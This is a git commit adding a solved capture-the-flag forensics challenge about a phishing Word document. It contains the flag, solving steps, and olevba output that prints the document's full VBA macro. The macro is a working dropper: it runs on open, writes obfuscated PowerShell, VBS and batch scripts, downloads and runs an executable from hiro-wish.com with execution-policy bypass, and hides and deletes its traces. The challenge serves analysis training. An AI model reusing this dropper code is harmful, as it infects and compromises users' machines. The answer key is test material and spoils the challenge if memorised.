add solved giveaway challenge
This commit is contained in:
aaron
12
forensics/giveaway/Pipfile
Normal file
12
forensics/giveaway/Pipfile
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
[[source]]
|
||||||
|
url = "https://pypi.org/simple"
|
||||||
|
verify_ssl = true
|
||||||
|
name = "pypi"
|
||||||
|
|
||||||
|
[packages]
|
||||||
|
oletools = "*"
|
||||||
|
|
||||||
|
[dev-packages]
|
||||||
|
|
||||||
|
[requires]
|
||||||
|
python_version = "3.9"
|
||||||
161
forensics/giveaway/Pipfile.lock
generated
Normal file
161
forensics/giveaway/Pipfile.lock
generated
Normal file
@@ -0,0 +1,161 @@
|
|||||||
|
{
|
||||||
|
"_meta": {
|
||||||
|
"hash": {
|
||||||
|
"sha256": "05c72e7e1a8730ddb6e1c2f1b36ca17367b4584020b0c0b462958863fa93d803"
|
||||||
|
},
|
||||||
|
"pipfile-spec": 6,
|
||||||
|
"requires": {
|
||||||
|
"python_version": "3.9"
|
||||||
|
},
|
||||||
|
"sources": [
|
||||||
|
{
|
||||||
|
"name": "pypi",
|
||||||
|
"url": "https://pypi.org/simple",
|
||||||
|
"verify_ssl": true
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"default": {
|
||||||
|
"cffi": {
|
||||||
|
"hashes": [
|
||||||
|
"sha256:00c878c90cb53ccfaae6b8bc18ad05d2036553e6d9d1d9dbcf323bbe83854ca3",
|
||||||
|
"sha256:0104fb5ae2391d46a4cb082abdd5c69ea4eab79d8d44eaaf79f1b1fd806ee4c2",
|
||||||
|
"sha256:06c48159c1abed75c2e721b1715c379fa3200c7784271b3c46df01383b593636",
|
||||||
|
"sha256:0808014eb713677ec1292301ea4c81ad277b6cdf2fdd90fd540af98c0b101d20",
|
||||||
|
"sha256:10dffb601ccfb65262a27233ac273d552ddc4d8ae1bf93b21c94b8511bffe728",
|
||||||
|
"sha256:14cd121ea63ecdae71efa69c15c5543a4b5fbcd0bbe2aad864baca0063cecf27",
|
||||||
|
"sha256:17771976e82e9f94976180f76468546834d22a7cc404b17c22df2a2c81db0c66",
|
||||||
|
"sha256:181dee03b1170ff1969489acf1c26533710231c58f95534e3edac87fff06c443",
|
||||||
|
"sha256:23cfe892bd5dd8941608f93348c0737e369e51c100d03718f108bf1add7bd6d0",
|
||||||
|
"sha256:263cc3d821c4ab2213cbe8cd8b355a7f72a8324577dc865ef98487c1aeee2bc7",
|
||||||
|
"sha256:2756c88cbb94231c7a147402476be2c4df2f6078099a6f4a480d239a8817ae39",
|
||||||
|
"sha256:27c219baf94952ae9d50ec19651a687b826792055353d07648a5695413e0c605",
|
||||||
|
"sha256:2a23af14f408d53d5e6cd4e3d9a24ff9e05906ad574822a10563efcef137979a",
|
||||||
|
"sha256:31fb708d9d7c3f49a60f04cf5b119aeefe5644daba1cd2a0fe389b674fd1de37",
|
||||||
|
"sha256:3415c89f9204ee60cd09b235810be700e993e343a408693e80ce7f6a40108029",
|
||||||
|
"sha256:3773c4d81e6e818df2efbc7dd77325ca0dcb688116050fb2b3011218eda36139",
|
||||||
|
"sha256:3b96a311ac60a3f6be21d2572e46ce67f09abcf4d09344c49274eb9e0bf345fc",
|
||||||
|
"sha256:3f7d084648d77af029acb79a0ff49a0ad7e9d09057a9bf46596dac9514dc07df",
|
||||||
|
"sha256:41d45de54cd277a7878919867c0f08b0cf817605e4eb94093e7516505d3c8d14",
|
||||||
|
"sha256:4238e6dab5d6a8ba812de994bbb0a79bddbdf80994e4ce802b6f6f3142fcc880",
|
||||||
|
"sha256:45db3a33139e9c8f7c09234b5784a5e33d31fd6907800b316decad50af323ff2",
|
||||||
|
"sha256:45e8636704eacc432a206ac7345a5d3d2c62d95a507ec70d62f23cd91770482a",
|
||||||
|
"sha256:4958391dbd6249d7ad855b9ca88fae690783a6be9e86df65865058ed81fc860e",
|
||||||
|
"sha256:4a306fa632e8f0928956a41fa8e1d6243c71e7eb59ffbd165fc0b41e316b2474",
|
||||||
|
"sha256:57e9ac9ccc3101fac9d6014fba037473e4358ef4e89f8e181f8951a2c0162024",
|
||||||
|
"sha256:59888172256cac5629e60e72e86598027aca6bf01fa2465bdb676d37636573e8",
|
||||||
|
"sha256:5e069f72d497312b24fcc02073d70cb989045d1c91cbd53979366077959933e0",
|
||||||
|
"sha256:64d4ec9f448dfe041705426000cc13e34e6e5bb13736e9fd62e34a0b0c41566e",
|
||||||
|
"sha256:6dc2737a3674b3e344847c8686cf29e500584ccad76204efea14f451d4cc669a",
|
||||||
|
"sha256:74fdfdbfdc48d3f47148976f49fab3251e550a8720bebc99bf1483f5bfb5db3e",
|
||||||
|
"sha256:75e4024375654472cc27e91cbe9eaa08567f7fbdf822638be2814ce059f58032",
|
||||||
|
"sha256:786902fb9ba7433aae840e0ed609f45c7bcd4e225ebb9c753aa39725bb3e6ad6",
|
||||||
|
"sha256:8b6c2ea03845c9f501ed1313e78de148cd3f6cad741a75d43a29b43da27f2e1e",
|
||||||
|
"sha256:91d77d2a782be4274da750752bb1650a97bfd8f291022b379bb8e01c66b4e96b",
|
||||||
|
"sha256:91ec59c33514b7c7559a6acda53bbfe1b283949c34fe7440bcf917f96ac0723e",
|
||||||
|
"sha256:920f0d66a896c2d99f0adbb391f990a84091179542c205fa53ce5787aff87954",
|
||||||
|
"sha256:a5263e363c27b653a90078143adb3d076c1a748ec9ecc78ea2fb916f9b861962",
|
||||||
|
"sha256:abb9a20a72ac4e0fdb50dae135ba5e77880518e742077ced47eb1499e29a443c",
|
||||||
|
"sha256:c2051981a968d7de9dd2d7b87bcb9c939c74a34626a6e2f8181455dd49ed69e4",
|
||||||
|
"sha256:c21c9e3896c23007803a875460fb786118f0cdd4434359577ea25eb556e34c55",
|
||||||
|
"sha256:c2502a1a03b6312837279c8c1bd3ebedf6c12c4228ddbad40912d671ccc8a962",
|
||||||
|
"sha256:d4d692a89c5cf08a8557fdeb329b82e7bf609aadfaed6c0d79f5a449a3c7c023",
|
||||||
|
"sha256:da5db4e883f1ce37f55c667e5c0de439df76ac4cb55964655906306918e7363c",
|
||||||
|
"sha256:e7022a66d9b55e93e1a845d8c9eba2a1bebd4966cd8bfc25d9cd07d515b33fa6",
|
||||||
|
"sha256:ef1f279350da2c586a69d32fc8733092fd32cc8ac95139a00377841f59a3f8d8",
|
||||||
|
"sha256:f54a64f8b0c8ff0b64d18aa76675262e1700f3995182267998c31ae974fbc382",
|
||||||
|
"sha256:f5c7150ad32ba43a07c4479f40241756145a1f03b43480e058cfd862bf5041c7",
|
||||||
|
"sha256:f6f824dc3bce0edab5f427efcfb1d63ee75b6fcb7282900ccaf925be84efb0fc",
|
||||||
|
"sha256:fd8a250edc26254fe5b33be00402e6d287f562b6a5b2152dec302fa15bb3e997",
|
||||||
|
"sha256:ffaa5c925128e29efbde7301d8ecaf35c8c60ffbcd6a1ffd3a552177c8e5e796"
|
||||||
|
],
|
||||||
|
"version": "==1.15.0"
|
||||||
|
},
|
||||||
|
"colorclass": {
|
||||||
|
"hashes": [
|
||||||
|
"sha256:b05c2a348dfc1aff2d502527d78a5b7b7e2f85da94a96c5081210d8e9ee8e18b"
|
||||||
|
],
|
||||||
|
"version": "==2.2.0"
|
||||||
|
},
|
||||||
|
"cryptography": {
|
||||||
|
"hashes": [
|
||||||
|
"sha256:2049f8b87f449fc6190350de443ee0c1dd631f2ce4fa99efad2984de81031681",
|
||||||
|
"sha256:231c4a69b11f6af79c1495a0e5a85909686ea8db946935224b7825cfb53827ed",
|
||||||
|
"sha256:24469d9d33217ffd0ce4582dfcf2a76671af115663a95328f63c99ec7ece61a4",
|
||||||
|
"sha256:2deab5ec05d83ddcf9b0916319674d3dae88b0e7ee18f8962642d3cde0496568",
|
||||||
|
"sha256:494106e9cd945c2cadfce5374fa44c94cfadf01d4566a3b13bb487d2e6c7959e",
|
||||||
|
"sha256:4c702855cd3174666ef0d2d13dcc879090aa9c6c38f5578896407a7028f75b9f",
|
||||||
|
"sha256:52f769ecb4ef39865719aedc67b4b7eae167bafa48dbc2a26dd36fa56460507f",
|
||||||
|
"sha256:5c49c9e8fb26a567a2b3fa0343c89f5d325447956cc2fc7231c943b29a973712",
|
||||||
|
"sha256:684993ff6f67000a56454b41bdc7e015429732d65a52d06385b6e9de6181c71e",
|
||||||
|
"sha256:6fbbbb8aab4053fa018984bb0e95a16faeb051dd8cca15add2a27e267ba02b58",
|
||||||
|
"sha256:8982c19bb90a4fa2aad3d635c6d71814e38b643649b4000a8419f8691f20ac44",
|
||||||
|
"sha256:9511416e85e449fe1de73f7f99b21b3aa04fba4c4d335d30c486ba3756e3a2a6",
|
||||||
|
"sha256:97199a13b772e74cdcdb03760c32109c808aff7cd49c29e9cf4b7754bb725d1d",
|
||||||
|
"sha256:a776bae1629c8d7198396fd93ec0265f8dd2341c553dc32b976168aaf0e6a636",
|
||||||
|
"sha256:aa94d617a4cd4cdf4af9b5af65100c036bce22280ebb15d8b5262e8273ebc6ba",
|
||||||
|
"sha256:b17d83b3d1610e571fedac21b2eb36b816654d6f7496004d6a0d32f99d1d8120",
|
||||||
|
"sha256:d73e3a96c38173e0aa5646c31bf8473bc3564837977dd480f5cbeacf1d7ef3a3",
|
||||||
|
"sha256:d91bc9f535599bed58f6d2e21a2724cb0c3895bf41c6403fe881391d29096f1d",
|
||||||
|
"sha256:ef216d13ac8d24d9cd851776662f75f8d29c9f2d05cdcc2d34a18d32463a9b0b",
|
||||||
|
"sha256:f6a5a85beb33e57998dc605b9dbe7deaa806385fdf5c4810fb849fcd04640c81",
|
||||||
|
"sha256:f92556f94e476c1b616e6daec5f7ddded2c082efa7cee7f31c7aeda615906ed8"
|
||||||
|
],
|
||||||
|
"markers": "python_version >= '3.6'",
|
||||||
|
"version": "==36.0.0"
|
||||||
|
},
|
||||||
|
"easygui": {
|
||||||
|
"hashes": [
|
||||||
|
"sha256:073f728ca88a77b74f404446fb8ec3004945427677c5618bd00f70c1b999fef2",
|
||||||
|
"sha256:8d38764803c27bbccab2771e6c021cb20647049b36617f765fac79f01af07a27"
|
||||||
|
],
|
||||||
|
"version": "==0.98.2"
|
||||||
|
},
|
||||||
|
"msoffcrypto-tool": {
|
||||||
|
"hashes": [
|
||||||
|
"sha256:234f85ef59945fa1ebb618ca029f31f0cb43a637344dbda5c1bb8578b2d96a68",
|
||||||
|
"sha256:7f04b621365e3753f8cef8ba40536acc23d0d201c0ad2dcb1b3d82c83056b7ff"
|
||||||
|
],
|
||||||
|
"markers": "python_version >= '3' and platform_python_implementation != 'PyPy' or (platform_system != 'Windows' and platform_system != 'Darwin')",
|
||||||
|
"version": "==4.12.0"
|
||||||
|
},
|
||||||
|
"olefile": {
|
||||||
|
"hashes": [
|
||||||
|
"sha256:133b031eaf8fd2c9399b78b8bc5b8fcbe4c31e85295749bb17a87cba8f3c3964"
|
||||||
|
],
|
||||||
|
"markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
|
||||||
|
"version": "==0.46"
|
||||||
|
},
|
||||||
|
"oletools": {
|
||||||
|
"hashes": [
|
||||||
|
"sha256:bad54d3ced34f3475a5bffc0122f8481c66c3f3e09ad946dbda6ec80b75f72cb",
|
||||||
|
"sha256:dfad0328ac83b4f8db9f47e706cbd64db739ae4ebf9d98b2dcc465728a35f4a6"
|
||||||
|
],
|
||||||
|
"index": "pypi",
|
||||||
|
"version": "==0.60"
|
||||||
|
},
|
||||||
|
"pcodedmp": {
|
||||||
|
"hashes": [
|
||||||
|
"sha256:025f8c809a126f45a082ffa820893e6a8d990d9d7ddb68694b5a9f0a6dbcd955",
|
||||||
|
"sha256:4441f7c0ab4cbda27bd4668db3b14f36261d86e5059ce06c0828602cbe1c4278"
|
||||||
|
],
|
||||||
|
"version": "==1.2.6"
|
||||||
|
},
|
||||||
|
"pycparser": {
|
||||||
|
"hashes": [
|
||||||
|
"sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9",
|
||||||
|
"sha256:e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206"
|
||||||
|
],
|
||||||
|
"version": "==2.21"
|
||||||
|
},
|
||||||
|
"pyparsing": {
|
||||||
|
"hashes": [
|
||||||
|
"sha256:c203ec8783bf771a155b207279b9bccb8dea02d8f0c9e5f8ead507bc3246ecc1",
|
||||||
|
"sha256:ef9d7589ef3c200abe66653d3f1ab1033c3c419ae9b9bdb1240a85b024efc88b"
|
||||||
|
],
|
||||||
|
"markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'",
|
||||||
|
"version": "==2.4.7"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"develop": {}
|
||||||
|
}
|
||||||
34
forensics/giveaway/README.md
Normal file
34
forensics/giveaway/README.md
Normal file
@@ -0,0 +1,34 @@
|
|||||||
|
# Giveaway
|
||||||
|
|
||||||
|
Santa's SOC team is working overtime during December due to Christmas phishing
|
||||||
|
campaigns. A new team of malicious actors is targeting mainly those affected by
|
||||||
|
the holiday spirit. Could you analyse the document and find the command &
|
||||||
|
control server?
|
||||||
|
|
||||||
|
## Flag
|
||||||
|
|
||||||
|
HTB{Th1s_1s_4_pr3s3nt_3v3ryb0dy_w4nts_f0r_chr1stm4s}
|
||||||
|
|
||||||
|
## How to solve
|
||||||
|
|
||||||
|
- The giveaway.docm file is a word file with enabled macros
|
||||||
|
- Use oletools to extract any vba code `olevba -c christmas_giveaway.docm > macros.vba`
|
||||||
|
- By analyzing the vba macro it is quite obvious which part is the obfuscated c&c address
|
||||||
|
|
||||||
|
```vba
|
||||||
|
Module VBModule
|
||||||
|
Sub Main()
|
||||||
|
Dim strFileURL, HPkXUcxLcAoMHOlj, cxPZSGdIQDAdRVpziKf, fqtSMHFlkYeyLfs, ehPsgfAcWaYrJm, FVpHoEqBKnhPO As String
|
||||||
|
HPkXUcxLcAoMHOlj = "https://elvesfactory/" & Chr(Asc("H")) & Chr(84) & Chr(Asc("B")) & "" & Chr(123) & "" & Chr(84) & Chr(Asc("h")) & "1" & Chr(125 - 10) & Chr(Asc("_")) & "1s" & Chr(95) & "4"
|
||||||
|
cxPZSGdIQDAdRVpziKf = "_" & Replace("present", "e", "3") & Chr(85 + 10)
|
||||||
|
fqtSMHFlkYeyLfs = Replace("everybody", "e", "3")
|
||||||
|
fqtSMHFlkYeyLfs = Replace(fqtSMHFlkYeyLfs, "o", "0") & "_"
|
||||||
|
ehPsgfAcWaYrJm = Chr(Asc("w")) & "4" & Chr(110) & "t" & Chr(115) & "_" & Chr(Asc("f")) & "0" & Chr(121 - 7) & Chr(95)
|
||||||
|
FVpHoEqBKnhPO = Replace("christmas", "i", "1")
|
||||||
|
FVpHoEqBKnhPO = Replace(FVpHoEqBKnhPO, "a", "4") & Chr(119 + 6)
|
||||||
|
Console.WriteLine(HPkXUcxLcAoMHOlj & cxPZSGdIQDAdRVpziKf & fqtSMHFlkYeyLfs & ehPsgfAcWaYrJm & FVpHoEqBKnhPO)
|
||||||
|
End Sub
|
||||||
|
End Module
|
||||||
|
```
|
||||||
|
|
||||||
|
- Execute this part of the script in any vba online compiler and get the flag.
|
||||||
BIN
forensics/giveaway/christmas_giveaway.docm
Normal file
BIN
forensics/giveaway/christmas_giveaway.docm
Normal file
Binary file not shown.
317
forensics/giveaway/macros.vba
Normal file
317
forensics/giveaway/macros.vba
Normal file
@@ -0,0 +1,317 @@
|
|||||||
|
olevba 0.60 on Python 3.9.8 - http://decalage.info/python/oletools
|
||||||
|
===============================================================================
|
||||||
|
FILE: christmas_giveaway.docm
|
||||||
|
Type: OpenXML
|
||||||
|
-------------------------------------------------------------------------------
|
||||||
|
VBA MACRO ThisDocument.cls
|
||||||
|
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
|
||||||
|
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||||
|
Sub Auto_Open()
|
||||||
|
h
|
||||||
|
End Sub
|
||||||
|
Sub h()
|
||||||
|
Dim MY_FILENDIR, MY_FILEDIR, MY_FILDIR, XPFILEDIR
|
||||||
|
USER = Environ("username")
|
||||||
|
PST1 = "adobeacd-update.p" + Chr(115) + "1"
|
||||||
|
BART = "adobeacd-update.b" + Chr(Asc("a")) + Chr(Asc("t"))
|
||||||
|
ASDSA = "kjlasdjkasldjkldasjkadsjklsajlksajklsdjkl"
|
||||||
|
VBT1 = "adobeacd-update." + Chr(118) + "bs"
|
||||||
|
VBTXP = "adobeacd-updatexp.v" + Chr(Asc("b")) + "s"
|
||||||
|
|
||||||
|
|
||||||
|
MY_FILENDIR = "c:\" + Chr(Asc("U")) + "sers\" + USER + "\AppData\Local\Temp\" + PST1
|
||||||
|
ASJDKHSJADASDSA = "jklasdjkdsajklsdajkljklsakjlsadjsdkjlsajkdlsajklsadjkladsljksad"
|
||||||
|
MY_FILEDIR = "c:\" + Chr(Asc("U")) + "sers\" + USER + "\App" + Chr(Asc("D")) + "ata\Local\" + Chr(Asc("T")) + "emp\" + BART
|
||||||
|
MY_FILDIR = "c:\Users\" + USER + "\AppData\Local\Temp\" + VBT1
|
||||||
|
XPFILEDIR = "c:\Windows\Temp\" + VBTXP
|
||||||
|
XPBARTFILEDIR = "c:\Windows\Temp\" + BART
|
||||||
|
|
||||||
|
On Error Resume Next
|
||||||
|
SetAttr MY_FILENDIR, vbNormal
|
||||||
|
|
||||||
|
If (Len(Dir(MY_FILENDIR)) <> 0) Then
|
||||||
|
Kill MY_FILENDIR
|
||||||
|
End If
|
||||||
|
|
||||||
|
On Error Resume Next
|
||||||
|
SetAttr MY_FILEDIR, vbNormal
|
||||||
|
If (Dir(MY_FILEDIR) <> "") Then
|
||||||
|
Kill MY_FILEDIR
|
||||||
|
End If
|
||||||
|
|
||||||
|
On Error Resume Next
|
||||||
|
SetAttr MY_FILDIR, vbNormal
|
||||||
|
If (Dir(MY_FILDIR) <> "") Then
|
||||||
|
Kill MY_FILDIR
|
||||||
|
End If
|
||||||
|
|
||||||
|
On Error Resume Next
|
||||||
|
SetAttr XPFILEDIR, vbNormal
|
||||||
|
If (Dir(XPFILEDIR) <> "") Then
|
||||||
|
Kill XPFILEDIR
|
||||||
|
End If
|
||||||
|
|
||||||
|
Dim FileNumber As Integer
|
||||||
|
Dim FileNumb As Integer
|
||||||
|
Dim FileNu As Integer
|
||||||
|
Dim mttt As Integer
|
||||||
|
Dim retVal As Variant
|
||||||
|
'Dim winver As Integer
|
||||||
|
FileNumber = FreeFile
|
||||||
|
FileNumb = FreeFile
|
||||||
|
FileNu = FreeFile
|
||||||
|
|
||||||
|
Dim objWMIService As Variant
|
||||||
|
Dim colOperatingSystems As Variant
|
||||||
|
Dim objOperatingSystem As Variant
|
||||||
|
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2")
|
||||||
|
Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem")
|
||||||
|
For Each objOperatingSystem In colOperatingSystems
|
||||||
|
SysReport = SysReport & "The operating system on this computer is " & _
|
||||||
|
objOperatingSystem.Caption & " (" & objOperatingSystem.Version & ")"
|
||||||
|
Next
|
||||||
|
|
||||||
|
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2")
|
||||||
|
Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem")
|
||||||
|
For Each objOperatingSystem In colOperatingSystems
|
||||||
|
winverstr = objOperatingSystem.Version
|
||||||
|
Next
|
||||||
|
|
||||||
|
|
||||||
|
winver = Val(winverstr)
|
||||||
|
WaitFor (1)
|
||||||
|
|
||||||
|
|
||||||
|
If (winver > 5.5) Then
|
||||||
|
Open MY_FILENDIR For Output As #FileNumber
|
||||||
|
Print #FileNumber, "$hashroot = '94-4a-1e-86-99-69-dd-8a-4b-64-ca-5e-6e-bc-20-9a';"
|
||||||
|
Print #FileNumber, "$hash = '0';"
|
||||||
|
Print #FileNumber, "$down = N" & "ew" & "-" & Chr(79) & "bject " & Chr(Asc("S")) & "y" & "stem." & Chr(78) & "et." & Chr(87) & "eb" & "Cli" & "ent;"
|
||||||
|
Print #FileNumber, "$url = '" + Chr(Asc("h")) + Chr(Asc(Chr(Asc("t")))) + Chr(Asc("t")) + Chr(Asc("p")) + "://hiro-wish.com/js/bi" & "n.e" & "xe';"
|
||||||
|
Print #FileNumber, "$file = 'c:\Users\" + USER + "\AppData\Local\Temp\" + "4" & "44." + Chr(101) & "xe';"
|
||||||
|
Print #FileNumber, "$down.headers[" + Chr(39) + "User-Agent" + Chr(39) + "] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25';"
|
||||||
|
Print #FileNumber, "$down" & "." & Chr(68) & "ow" & "nloa" & "dFi" & "le($u" & "rl,$" & "file);"
|
||||||
|
Print #FileNumber, "$ScriptDir = $MyInvocation.ScriptName;"
|
||||||
|
Print #FileNumber, "$someFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + "444.e" & Chr(Asc("x")) + "e" & "';"
|
||||||
|
Print #FileNumber, "$vbsFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + VBT1 + "';"
|
||||||
|
Print #FileNumber, "$batFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + BART + "';"
|
||||||
|
Print #FileNumber, "$psFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + PST1 + "';"
|
||||||
|
Print #FileNumber, "Start-Sleep -s 15;"
|
||||||
|
Print #FileNumber, "c" & Chr(109) & "d.e" & Chr(120) & "e /c 'c:\Users\" + USER + "\AppData\Local\Temp" + "\444.e" & Chr(120) & "e'; "
|
||||||
|
Print #FileNumber, "$file1 = gci $" + "v" + "b" + "sFilePath -Force"
|
||||||
|
Print #FileNumber, "$file2 = gci $" + "b" + "a" + "t" + "FilePath -Force"
|
||||||
|
Print #FileNumber, "$file3 = gci $" + "p" + "s" + "F" + "ilePath -Force"
|
||||||
|
Print #FileNumber, "$file1.Attributes = $file1.Attributes -bxor [System.IO.FileAttributes]::Hi" + "d" + "den"
|
||||||
|
Print #FileNumber, "$file2.Attributes = $file2.Attributes -bxor [System.IO.FileAttributes]::Hi" + "d" + "den"
|
||||||
|
Print #FileNumber, "$file3.Attributes = $file3.Attributes -bxor [System.IO.FileAttributes]::Hi" + "d" + "den"
|
||||||
|
Print #FileNumber, "If (Test-Path $vbsFilePath){ Remove-Item $vbsFilePath }"
|
||||||
|
Print #FileNumber, "If (Test-Path $batFilePath){ Remove-Item $batFilePath }"
|
||||||
|
Print #FileNumber, "If (Test-Path $someFilePath){ Remove-Item $someFilePath }"
|
||||||
|
Print #FileNumber, "Remove-Item $MyINvocation.InvocationName"
|
||||||
|
Close #FileNumber
|
||||||
|
|
||||||
|
Open MY_FILDIR For Output As #FileNumb
|
||||||
|
Print #FileNumb, "Dim dff"
|
||||||
|
Print #FileNumb, "dff = 68"
|
||||||
|
Print #FileNumb, "cur" & Chr(Asc("r")) & "ent" + Chr(Asc("D")) + "irectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))"
|
||||||
|
Print #FileNumb, "S" & "et o" & "bj" & Chr(Asc("F")) & "SO=C" & "re" & "at" & "eO" & "b" & "je" & "ct(" & Chr(34) & "S" & "cr" & "ipt" & "ing.F" & "ileS" & "ystem" & "Ob" & "ject" & Chr(34) & ")"
|
||||||
|
Print #FileNumb, "cur" + "rent" + Chr(Asc("F")) + "ile = " & Chr(34) & "C:\" & Chr(Asc("U")) & "sers\" + USER + "\AppData\Local\Temp" + "\" + PST1 + Chr(34)
|
||||||
|
Print #FileNumb, "" & Chr(83) & "et " & Chr(111) & "bj" & Chr(83) & "hel" + Chr(Asc("l")) + " = Create" & Chr(79) & Chr(98) & "ject(" & Chr(34) & "W" & Chr(115) & "cript." & Chr(115) & "hell" & Chr(34) & ")"
|
||||||
|
Print #FileNumb, "" & Chr(111) & "bj" & Chr(83) & "hell" & Chr(46) & Chr(82) & "un " & Chr(34) & "p" & Chr(111) & "wer" & Chr(83) & "hell.e" & Chr(120) & "e -n" & Chr(111) & "exit -Exe" & "cutionP" & Chr(111) & "licy" & " byp" & "ass -n" & Chr(111) & "pr" & Chr(111) & "file -file " & Chr(34) & " & currentFile,0,true"
|
||||||
|
Close #FileNumb
|
||||||
|
|
||||||
|
Open MY_FILEDIR For Output As #FileNu
|
||||||
|
Print #FileNu, "@echo off"
|
||||||
|
Print #FileNu, "ping 1.1.2.2 -n 2"
|
||||||
|
Print #FileNu, "chcp 1251"
|
||||||
|
Print #FileNu, "c" & "sc" & "ri" & "pt" & ".e" & Chr(120) & "e " & Chr(34) & "c:\Users\" + USER + "\AppData\Local\Temp" + "\" + VBT1 + Chr(34)
|
||||||
|
Print #FileNu, "exit"
|
||||||
|
Close #FileNu
|
||||||
|
|
||||||
|
SetAttr MY_FILENDIR, vbNormal
|
||||||
|
SetAttr MY_FILEDIR, vbNormal
|
||||||
|
SetAttr MY_FILDIR, vbNormal
|
||||||
|
|
||||||
|
WaitFor (1)
|
||||||
|
|
||||||
|
retVal = Shell(MY_FILEDIR, 0)
|
||||||
|
End If
|
||||||
|
|
||||||
|
If (winver <= 5.5) Then
|
||||||
|
Open XPBARTFILEDIR For Output As #FileNu
|
||||||
|
Print #FileNu, "@echo off"
|
||||||
|
Print #FileNu, "ping 1.1.2.2 -n 2"
|
||||||
|
Print #FileNu, "c" & "sc" & "ri" & "pt" & ".e" & Chr(120) & "e " & Chr(34) & "c:\Windows\Temp" + "\" + VBTXP + Chr(34)
|
||||||
|
Print #FileNu, "ping 1.1.2.2 -n 2"
|
||||||
|
Print #FileNu, "c:\Windows\Temp\444.exe"
|
||||||
|
Print #FileNu, ":loop"
|
||||||
|
Print #FileNu, "ping 1.1.2.2 -n 1"
|
||||||
|
Print #FileNu, "del " + Chr(34) + "c:\Windows\Temp\" + VBTXP + Chr(34)
|
||||||
|
Print #FileNu, "del " + Chr(34) + "c:\Windows\Temp\" + BART + Chr(34)
|
||||||
|
Print #FileNu, "if " + "exist " + Chr(34) + "c:\Windows\Temp\" + BART + Chr(34) + " goto loop"
|
||||||
|
Print #FileNu, "if " + "exist " + Chr(34) + "c:\Windows\Temp\" + VBTXP + Chr(34) + " goto loop"
|
||||||
|
Print #FileNu, "exit"
|
||||||
|
Close #FileNu
|
||||||
|
WaitFor (2)
|
||||||
|
mttt = 88
|
||||||
|
|
||||||
|
Dim strFileURL, HPkXUcxLcAoMHOlj, cxPZSGdIQDAdRVpziKf, fqtSMHFlkYeyLfs, ehPsgfAcWaYrJm, FVpHoEqBKnhPO As String
|
||||||
|
|
||||||
|
HPkXUcxLcAoMHOlj = "https://elvesfactory/" & Chr(Asc("H")) & Chr(84) & Chr(Asc("B")) & "" & Chr(123) & "" & Chr(84) & Chr(Asc("h")) & "1" & Chr(125 - 10) & Chr(Asc("_")) & "1s" & Chr(95) & "4"
|
||||||
|
cxPZSGdIQDAdRVpziKf = "_" & Replace("present", "e", "3") & Chr(85 + 10)
|
||||||
|
fqtSMHFlkYeyLfs = Replace("everybody", "e", "3")
|
||||||
|
fqtSMHFlkYeyLfs = Replace(fqtSMHFlkYeyLfs, "o", "0") & "_"
|
||||||
|
ehPsgfAcWaYrJm = Chr(Asc("w")) & "4" & Chr(110) & "t" & Chr(115) & "_" & Chr(Asc("f")) & "0" & Chr(121 - 7) & Chr(95)
|
||||||
|
FVpHoEqBKnhPO = Replace("christmas", "i", "1")
|
||||||
|
FVpHoEqBKnhPO = Replace(FVpHoEqBKnhPO, "a", "4") & Chr(119 + 6)
|
||||||
|
|
||||||
|
Open XPFILEDIR For Output As #FileNumber
|
||||||
|
Print #FileNumber, "strRT = HPkXUcxLcAoMHOlj & cxPZSGdIQDAdRVpziKf & fqtSMHFlkYeyLfs & ehPsgfAcWaYrJm & FVpHoEqBKnhPO"
|
||||||
|
Print #FileNumber, "strTecation = " + Chr(34) + "c:\" + Chr(Asc("W")) + "indows\" + Chr(Asc("T")) + "emp\44" + "4" + "." + Chr(Asc("e")) + Chr(Asc("x")) + "e" + Chr(34)
|
||||||
|
|
||||||
|
Print #FileNumber, "Set objXML" + "H" + Chr(Asc("T")) + "TP = C" + "reate" + Chr(Asc("O")) + "bject(" + Chr(34) + "MSXML2." + Chr(mttt - 54) + Chr(mttt) + Chr(mttt - 11) + Chr(mttt - 12) + Chr(72) + Chr(84) + Chr(84) + Chr(80) + ")"
|
||||||
|
Print #FileNumber, "objXMLHTTP.open " + Chr(34) + "GET" + Chr(34) + ", strRT, False"
|
||||||
|
|
||||||
|
Print #FileNumber, "objXMLHTTP.send() "
|
||||||
|
Print #FileNumber, "If objXMLHTTP.Status = 200 Then"
|
||||||
|
|
||||||
|
Print #FileNumber, "Set objADOStream = CreateObject(" + Chr(34) + "ADODB.Stream" + Chr(34) + ") "
|
||||||
|
|
||||||
|
Print #FileNumber, "objADOStream.Open "
|
||||||
|
Print #FileNumber, "objADOStream.Type = 1"
|
||||||
|
Print #FileNumber, "objADOStream.Write objXMLHTTP.ResponseBody "
|
||||||
|
Print #FileNumber, "objADOStream.Position = 0 "
|
||||||
|
Print #FileNumber, "objADOStream.SaveToFile strTecation "
|
||||||
|
Print #FileNumber, "objADOStream.Close "
|
||||||
|
Print #FileNumber, "Set objADOStream = Nothing "
|
||||||
|
Print #FileNumber, "End if "
|
||||||
|
Print #FileNumber, "Set objXMLHTTP = Nothing"
|
||||||
|
Print #FileNumber, "Set objShell = CreateObject(" + Chr(34) + "WScript.Shell" + Chr(34) + ")"
|
||||||
|
Close #FileNumber
|
||||||
|
|
||||||
|
WaitFor (1)
|
||||||
